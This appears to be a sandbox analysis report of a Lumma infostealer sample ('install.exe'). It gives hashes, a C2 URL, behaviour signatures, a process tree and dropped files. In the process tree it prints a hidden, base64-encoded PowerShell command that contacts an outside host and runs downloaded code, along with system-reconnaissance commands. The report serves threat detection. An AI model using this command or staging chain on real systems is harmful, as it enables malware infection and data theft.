Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-11-2024 19:10

General

  • Target

    install.exe

  • Size

    136KB

  • MD5

    fca89c62d6ea9f979b3a8d21ee2c4f55

  • SHA1

    bd77809998b5cfef93e3c34af3ddb8292f549d44

  • SHA256

    6b069e5b450898615e709275bc0a53b529f171301a603093bdc17ebd784e0e34

  • SHA512

    f1f1f30d0c07c343d9709dd4a6405751de678886703bd59f2d72751f3d470ca88389b3ce3ba5966282e6f60ae68f13de722e885f4bd1bfae2aad60323edf7df0

  • SSDEEP

    1536:xZ2FWSNhd/4131iO08SKKAP7wBwp8wZtE:T2ddQ131i1pKJP7w2p

Malware Config

Extracted

Family

lumma

C2

https://quotedjizwe.cyou/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 20 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.exe
    "C:\Users\Admin\AppData\Local\Temp\install.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4228
    • C:\Users\Admin\AppData\Local\Temp\jre\bin\javaw.exe
      "C:\Users\Admin\AppData\Local\Temp\jre\bin\javaw.exe" -Dfile.encoding=UTF-8 -classpath "lib\.;lib\..;lib\asm-all.jar;lib\dn-compiled-module.jar;lib\dn-php-sdk.jar;lib\gson.jar;lib\jphp-app-framework.jar;lib\jphp-core.jar;lib\jphp-desktop-ext.jar;lib\jphp-gui-ext.jar;lib\jphp-json-ext.jar;lib\jphp-runtime.jar;lib\jphp-xml-ext.jar;lib\jphp-zend-ext.jar;lib\jphp-zip-ext.jar;lib\slf4j-api.jar;lib\slf4j-simple.jar;lib\zt-zip.jar" org.develnext.jphp.ext.javafx.FXLauncher
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3288
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild""
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4536
        • C:\Windows\SysWOW64\chcp.com
          C:\Windows\System32\chcp.com 65001
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4476
        • C:\Windows\system32\reg.exe
          C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild"
          4⤵
            PID:4852
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List | C:\Windows\System32\more.com"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2628
          • C:\Windows\SysWOW64\chcp.com
            C:\Windows\System32\chcp.com 866
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4020
          • C:\Windows\SysWOW64\wbem\WMIC.exe
            C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3348
          • C:\Windows\SysWOW64\more.com
            C:\Windows\System32\more.com
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1124
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List | C:\Windows\System32\more.com"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:320
          • C:\Windows\SysWOW64\chcp.com
            C:\Windows\System32\chcp.com 866
            4⤵
            • System Location Discovery: System Language Discovery
            PID:448
          • C:\Windows\SysWOW64\wbem\WMIC.exe
            C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2256
          • C:\Windows\SysWOW64\more.com
            C:\Windows\System32\more.com
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1672
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List | C:\Windows\System32\more.com"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2068
          • C:\Windows\SysWOW64\chcp.com
            C:\Windows\System32\chcp.com 866
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3188
          • C:\Windows\SysWOW64\wbem\WMIC.exe
            C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3532
          • C:\Windows\SysWOW64\more.com
            C:\Windows\System32\more.com
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4036
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19""
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4348
          • C:\Windows\SysWOW64\chcp.com
            C:\Windows\System32\chcp.com 65001
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1468
          • C:\Windows\system32\reg.exe
            C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19"
            4⤵
              PID:3652
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('DQokcj0naHR0cDovL2NhdHNpLm5ldC9pbmNhbGwucGhwP2NvbXBOYW1lPScrJGVudjpjb21wdXRlcm5hbWU7IFtuZXQuU2VydmljRXBPaU50bUFuYWdlUl06OnNFQ3VyaVRZcFJPVG9jT2wgPSBbbkVULnNlQ1VSSVR5cFJPVG9jb0xUWXBlXTo6VGxzMTI7ICR0dHAgPSBpd3IgJHIgLVVzZUJhc2ljUGFyc2luZyAtVXNlckFnZW50ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjEpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS84MS4wLjQ0NC4xNDMgU2FmYXJpLzUzNy4zNic7IGlleCAkdHRwLkNvbnRlbnQ7')); Invoke-Expression $script}"
            3⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4476
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c "cd /d "C:\Users\Admin\AppData\Local\Temp/58392720507736a070768f4018beecf4/" && (for %F in (*.exe) do start "" "%F")"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2428
            • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\EASteamProxy.exe
              "EASteamProxy.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              PID:3688
              • C:\Users\Admin\AppData\Roaming\Serverdownload\EASteamProxy.exe
                C:\Users\Admin\AppData\Roaming\Serverdownload\EASteamProxy.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                PID:1372
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\SysWOW64\cmd.exe
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:376
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    7⤵
                    • System Location Discovery: System Language Discovery
                    PID:1932
          • C:\Windows\SysWOW64\explorer.exe
            explorer C:\Users\Admin\AppData\Local\Temp\314d9e535aa893051e1176c2673f0957.pdf
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4484
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Modifies registry class
        PID:456
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\314d9e535aa893051e1176c2673f0957.pdf"
          2⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          PID:1672
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3248
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=05B9F553E54A7DFF3CC770D5F47CEDD0 --mojo-platform-channel-handle=1776 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2672
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7AEACD3510F9960FD9F8D0416AE62318 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7AEACD3510F9960FD9F8D0416AE62318 --renderer-client-id=2 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job /prefetch:1
              4⤵
              • System Location Discovery: System Language Discovery
              PID:3604
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=48133F9251D336CF2ED5BC29D8BB38D9 --mojo-platform-channel-handle=2340 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              4⤵
              • System Location Discovery: System Language Discovery
              PID:4764
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=93A59E20F09B3DB323AF88188AA7B8DD --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=93A59E20F09B3DB323AF88188AA7B8DD --renderer-client-id=5 --mojo-platform-channel-handle=2492 --allow-no-sandbox-job /prefetch:1
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2604
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4237D6CF4D06ED747912010E80DF8133 --mojo-platform-channel-handle=2712 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              4⤵
              • System Location Discovery: System Language Discovery
              PID:448
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D03D6D750E396E202F2B2998031DF00B --mojo-platform-channel-handle=1888 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              4⤵
              • System Location Discovery: System Language Discovery
              PID:4892
      • C:\Windows\System32\CompPkgSrv.exe
        C:\Windows\System32\CompPkgSrv.exe -Embedding
        1⤵
          PID:4952

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

          Filesize

          36KB

          MD5

          b30d3becc8731792523d599d949e63f5

          SHA1

          19350257e42d7aee17fb3bf139a9d3adb330fad4

          SHA256

          b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

          SHA512

          523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

        • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

          Filesize

          56KB

          MD5

          752a1f26b18748311b691c7d8fc20633

          SHA1

          c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

          SHA256

          111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

          SHA512

          a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

        • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

          Filesize

          64KB

          MD5

          626d4112dde90b84efe31fa6d155ad5a

          SHA1

          acaa0d6e2c9d27ff1c4981f13ffa0f99a49d45e8

          SHA256

          5cc1da54ef4c0b03c773b30c453fe1e3df4a5495f2862299fc5d414a6a085c05

          SHA512

          75f0e2f2dcfb1a58baa48132e7fd197b0de326bbd55a87864627ce6727bcd6d9431949e937da6634211c92f782ee8f84b0b506d35d519ddd27b6b60cc8d72ab5

        • C:\Users\Admin\AppData\Local\Temp\314d9e535aa893051e1176c2673f0957.pdf

          Filesize

          51KB

          MD5

          acfffe6de49ab6bbcb590e95d558111b

          SHA1

          51d7b4a4ef2851f4787805bd2eebc61f9f62ae34

          SHA256

          fd0bc347f27e479b565d6095bfdc96ef2f42a7ae8649c40e1e702c8f16ab6217

          SHA512

          94fd4a2de31420576169b79c9617fb1eed4778fb50c17a9c8587b123169022e9338fe8d4b89bb5de5b06367eed6737e739423416c8be3f7f5f24b75b3b3ee28e

        • C:\Users\Admin\AppData\Local\Temp\3b19e7cc

          Filesize

          1.0MB

          MD5

          8d034ec89157eca0e4de2e242d3736e1

          SHA1

          d8d405722bde6d8a6f3ae4d62b8d9b9d193a7053

          SHA256

          138b0464c17c4b03039500594df06dd021877a09063102819d784c4c7a9da0f8

          SHA512

          d27258de059a2b2222d797f27f7785e9e3e5e83c2e0beaf2b7ac4e19d3d86616a82aa3a003ba20283c2330e66ee507bc579ea76ca454df6ef5e103b1ee22b4c8

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\EASteamProxy.exe

          Filesize

          5.4MB

          MD5

          ad2735f096925010a53450cb4178c89e

          SHA1

          c6d65163c6315a642664f4eaec0fae9528549bfe

          SHA256

          4e775b5fafb4e6d89a4694f8694d2b8b540534bd4a52ff42f70095f1c929160e

          SHA512

          1868b22a7c5cba89545b06f010c09c5418b3d86039099d681eee9567c47208fdba3b89c6251cf03c964c58c805280d45ba9c3533125f6bd3e0bc067477e03ab9

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\Qt5Core.dll

          Filesize

          6.0MB

          MD5

          2a7f32421b71aaeebd6287f55acdf983

          SHA1

          217db3af7575622d58f94845b7ee6ceffd6e1c0f

          SHA256

          d0e476c7573735b01ba7893b7e513ac463316b50b5d6e238878a8567b0b1bc86

          SHA512

          b5839c867d3ea09f0796482f8040ed5ebb9ddf9917df8ce76ed675e377af97ab0ac06917af0c2d8401afa30c5deb7052e7218c779dd731c7774ca10dc1306bf5

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\Qt5Network.dll

          Filesize

          1.3MB

          MD5

          c24c89879410889df656e3a961c59bcc

          SHA1

          25a9e4e545e86b0a5fe14ee0147746667892fabd

          SHA256

          739bedcfc8eb860927eb2057474be5b39518aaaa6703f9f85307a432fa1f236e

          SHA512

          0542c431049e4fd40619579062d206396bef2f6dadadbf9294619c918b9e6c96634dcd404b78c6045974295126ec35dd842c6ec8f42279d9598b57a751cd0034

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\VCRUNTIME140.dll

          Filesize

          106KB

          MD5

          49c96cecda5c6c660a107d378fdfc3d4

          SHA1

          00149b7a66723e3f0310f139489fe172f818ca8e

          SHA256

          69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc

          SHA512

          e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\fglmxri

          Filesize

          19KB

          MD5

          5df7aef6e2e2691eb57558a45eba260e

          SHA1

          a9e9053a5a2810f89ff349c5e6bfc98a5271750f

          SHA256

          93aa2b9642df06986e0cf718a3708d22a30ced07e93c1d16f999f456de982a17

          SHA512

          1432dc775add2f5ec4c30964fcd58f5e2dde836ebdc10cf9f2404a0e2915d98c89cfc310d2ec16b51c2a3791352c4096d33715628d58db5064d65c35578c0789

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\jdeo

          Filesize

          799KB

          MD5

          e2658cb392d04822f8d80aad17f8f9ce

          SHA1

          a5a93b010269939482714985b5bcea25e806088d

          SHA256

          aec797462aad55a6b688ceb5e1c83c874c3828d4dfc8f2460e5c01342f7728e4

          SHA512

          31c95479e522d589a0f659a0af0e771ba5634c1515fcffb161b09c97ae60834266846a640bf3a18969a618d1bcb9eff5161bb54108d47b4379fdbaba2a8b67b6

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\libcrypto-1_1-x64.dll

          Filesize

          2.7MB

          MD5

          28dea3e780552eb5c53b3b9b1f556628

          SHA1

          55dccd5b30ce0363e8ebdfeb1cca38d1289748b8

          SHA256

          52415829d85c06df8724a3d3d00c98f12beabf5d6f3cbad919ec8000841a86e8

          SHA512

          19dfe5f71901e43ea34d257f693ae1a36433dbdbcd7c9440d9b0f9eea24de65c4a8fe332f7b88144e1a719a6ba791c2048b4dd3e5b1ed0fdd4c813603ad35112

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\libssl-1_1-x64.dll

          Filesize

          669KB

          MD5

          4ad03043a32e9a1ef64115fc1ace5787

          SHA1

          352e0e3a628c8626cff7eed348221e889f6a25c4

          SHA256

          a0e43cbc4a2d8d39f225abd91980001b7b2b5001e8b2b8292537ae39b17b85d1

          SHA512

          edfae3660a5f19a9deda0375efba7261d211a74f1d8b6bf1a8440fed4619c4b747aca8301d221fd91230e7af1dab73123707cc6eda90e53eb8b6b80872689ba6

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\msvcp140.dll

          Filesize

          564KB

          MD5

          1ba6d1cf0508775096f9e121a24e5863

          SHA1

          df552810d779476610da3c8b956cc921ed6c91ae

          SHA256

          74892d9b4028c05debaf0b9b5d9dc6d22f7956fa7d7eee00c681318c26792823

          SHA512

          9887d9f5838aa1555ea87968e014edfe2f7747f138f1b551d1f609bc1d5d8214a5fdab0d76fcac98864c1da5eb81405ca373b2a30cb12203c011d89ea6d069af

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\msvcp140_1.dll

          Filesize

          34KB

          MD5

          69d96e09a54fbc5cf92a0e084ab33856

          SHA1

          b4629d51b5c4d8d78ccb3370b40a850f735b8949

          SHA256

          a3a1199de32bbbc8318ec33e2e1ce556247d012851e4b367fe853a51e74ce4ee

          SHA512

          2087827137c473cdbec87789361ed34fad88c9fe80ef86b54e72aea891d91af50b17b7a603f9ae2060b3089ce9966fad6d7fbe22dee980c07ed491a75503f2cf

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\steam_api64.dll

          Filesize

          291KB

          MD5

          6b4ab6e60364c55f18a56a39021b74a6

          SHA1

          39cac2889d8ca497ee0d8434fc9f6966f18fa336

          SHA256

          1db3fd414039d3e5815a5721925dd2e0a3a9f2549603c6cab7c49b84966a1af3

          SHA512

          c08de8c6e331d13dfe868ab340e41552fc49123a9f782a5a63b95795d5d979e68b5a6ab171153978679c0791dc3e3809c883471a05864041ce60b240ccdd4c21

        • C:\Users\Admin\AppData\Local\Temp\58392720507736a070768f4018beecf4\vcruntime140_1.dll

          Filesize

          48KB

          MD5

          cf0a1c4776ffe23ada5e570fc36e39fe

          SHA1

          2050fadecc11550ad9bde0b542bcf87e19d37f1a

          SHA256

          6fd366a691ed68430bcd0a3de3d8d19a0cb2102952bfc140bbef4354ed082c47

          SHA512

